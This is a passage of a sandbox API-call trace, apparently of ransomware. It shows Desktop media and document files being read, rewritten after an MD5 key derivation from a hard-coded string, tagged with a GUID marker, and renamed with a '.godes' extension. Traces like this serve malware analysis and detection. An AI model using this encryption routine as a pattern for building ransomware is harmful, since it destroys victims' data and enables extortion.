pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.119] GetLastError () returned 0x0 [0113.119] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.119] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.119] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1260) returned 0x3321120 [0113.119] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.120] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1253, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1253, lpOverlapped=0x0) returned 1 [0113.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.120] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.120] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.120] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.120] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.120] CloseHandle (hObject=0x624) returned 1 [0113.121] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.121] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.121] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.121] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ote7kPgqRa 0Oya j.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ote7kpgqra 0oya j.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ote7kPgqRa 0Oya j.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ote7kpgqra 0oya j.avi.godes")) returned 1 [0113.121] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.121] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.122] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.122] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95146250, ftCreationTime.dwHighDateTime=0x1d4c74c, ftLastAccessTime.dwLowDateTime=0xafdb4dd0, ftLastAccessTime.dwHighDateTime=0x1d4c9ac, ftLastWriteTime.dwLowDateTime=0xafdb4dd0, ftLastWriteTime.dwHighDateTime=0x1d4c9ac, nFileSizeHigh=0x0, nFileSizeLow=0x1380c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PnL6Zh.flv", cAlternateFileName="")) returned 1 [0113.122] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.122] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.122] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.123] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PnL6Zh.flv") returned=".flv" [0113.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PnL6Zh.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnl6zh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.123] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=79884) returned 1 [0113.123] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.124] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x137e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.124] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.128] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.128] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.128] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.128] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1380c, lpOverlapped=0x0) returned 1 [0113.130] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.130] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.130] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.130] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.130] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.131] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.131] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.131] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.131] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.131] GetLastError () returned 0x0 [0113.131] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.131] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.131] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x13810) returned 0x3321120 [0113.131] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.131] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.131] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x13807, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x13807, lpOverlapped=0x0) returned 1 [0113.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.132] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1380c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.132] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.132] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.132] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.132] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.132] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.132] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.132] CloseHandle (hObject=0x624) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.133] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.133] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.133] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PnL6Zh.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnl6zh.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PnL6Zh.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnl6zh.flv.godes")) returned 1 [0113.134] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.134] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.135] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.135] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d345e0, ftCreationTime.dwHighDateTime=0x1d4c9d6, ftLastAccessTime.dwLowDateTime=0xb076ae70, ftLastAccessTime.dwHighDateTime=0x1d4cba4, ftLastWriteTime.dwLowDateTime=0xb076ae70, ftLastWriteTime.dwHighDateTime=0x1d4cba4, nFileSizeHigh=0x0, nFileSizeLow=0x18455, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rIBC47zYWHDhfd7P7Cw0.png", cAlternateFileName="RIBC47~1.PNG")) returned 1 [0113.135] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.135] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.135] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.135] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rIBC47zYWHDhfd7P7Cw0.png") returned=".png" [0113.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rIBC47zYWHDhfd7P7Cw0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ribc47zywhdhfd7p7cw0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.135] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=99413) returned 1 [0113.135] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.137] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1842f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.137] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.137] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.137] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.138] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.138] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18455, lpOverlapped=0x0) returned 1 [0113.138] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.138] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.138] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.138] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.138] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.139] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.139] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.139] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.139] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.139] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.139] GetLastError () returned 0x0 [0113.139] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.139] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.139] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.139] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18460) returned 0x3321120 [0113.140] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.140] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.140] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x18450, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x18450, lpOverlapped=0x0) returned 1 [0113.140] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.140] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18455, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.140] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.140] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.140] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.140] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.140] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.140] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.140] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.140] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.140] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.141] CloseHandle (hObject=0x624) returned 1 [0113.142] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.142] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.142] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.142] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rIBC47zYWHDhfd7P7Cw0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ribc47zywhdhfd7p7cw0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rIBC47zYWHDhfd7P7Cw0.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ribc47zywhdhfd7p7cw0.png.godes")) returned 1 [0113.142] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.142] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.143] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.143] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x217de030, ftCreationTime.dwHighDateTime=0x1d4c8cf, ftLastAccessTime.dwLowDateTime=0x1ac97780, ftLastAccessTime.dwHighDateTime=0x1d4c88a, ftLastWriteTime.dwLowDateTime=0x1ac97780, ftLastWriteTime.dwHighDateTime=0x1d4c88a, nFileSizeHigh=0x0, nFileSizeLow=0x1ddc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrZY-uYtP04ki0fgCu.rtf", cAlternateFileName="RRZY-U~1.RTF")) returned 1 [0113.143] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.143] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.144] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.144] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrZY-uYtP04ki0fgCu.rtf") returned=".rtf" [0113.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrZY-uYtP04ki0fgCu.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rrzy-uytp04ki0fgcu.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.144] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=7644) returned 1 [0113.144] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.145] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1db6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.145] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.147] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.147] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.147] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.147] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1ddc, lpOverlapped=0x0) returned 1 [0113.147] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.148] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.148] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.148] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.148] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.148] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.148] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.148] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.148] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.148] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.148] GetLastError () returned 0x0 [0113.149] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.149] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.149] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.149] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1de0) returned 0x3321120 [0113.149] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.149] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.149] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1dd7, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1dd7, lpOverlapped=0x0) returned 1 [0113.149] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.149] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1ddc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.149] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.149] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.149] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.149] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.149] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.149] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.149] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.149] lstrlenA 